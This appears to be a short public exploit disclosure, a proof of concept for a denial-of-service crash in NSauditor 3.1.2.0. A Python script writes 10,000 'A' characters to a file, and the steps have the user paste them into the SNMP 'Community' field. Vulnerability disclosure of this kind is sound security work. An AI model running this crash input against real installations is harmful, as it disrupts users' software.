NSauditor 3.1.2.0 - 'Community' Denial of Service (PoC)

#Exploit Title: NSauditor 3.1.2.0 - 'Community' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
#Tested Version: 3.1.2.0
#Tested on: Windows 7 x64 Service Pack 1
 
#Steps to produce the crash:
#1.- Run python code: Nsauditor_3.1.2.0.py
#2.- Open nsauditor.txt and copy content to clipboard
#3.- Open Nsauditor
#4.- In Sessions select "SNMP Auditor"
#5.- Select "Community" field paste Clipboard
#6.- Click "Walk"
#7.- Crarshed
 
cod = "\x41" * 10000
 
f = open('nsauditor.txt', 'w')
f.write(cod)
f.close()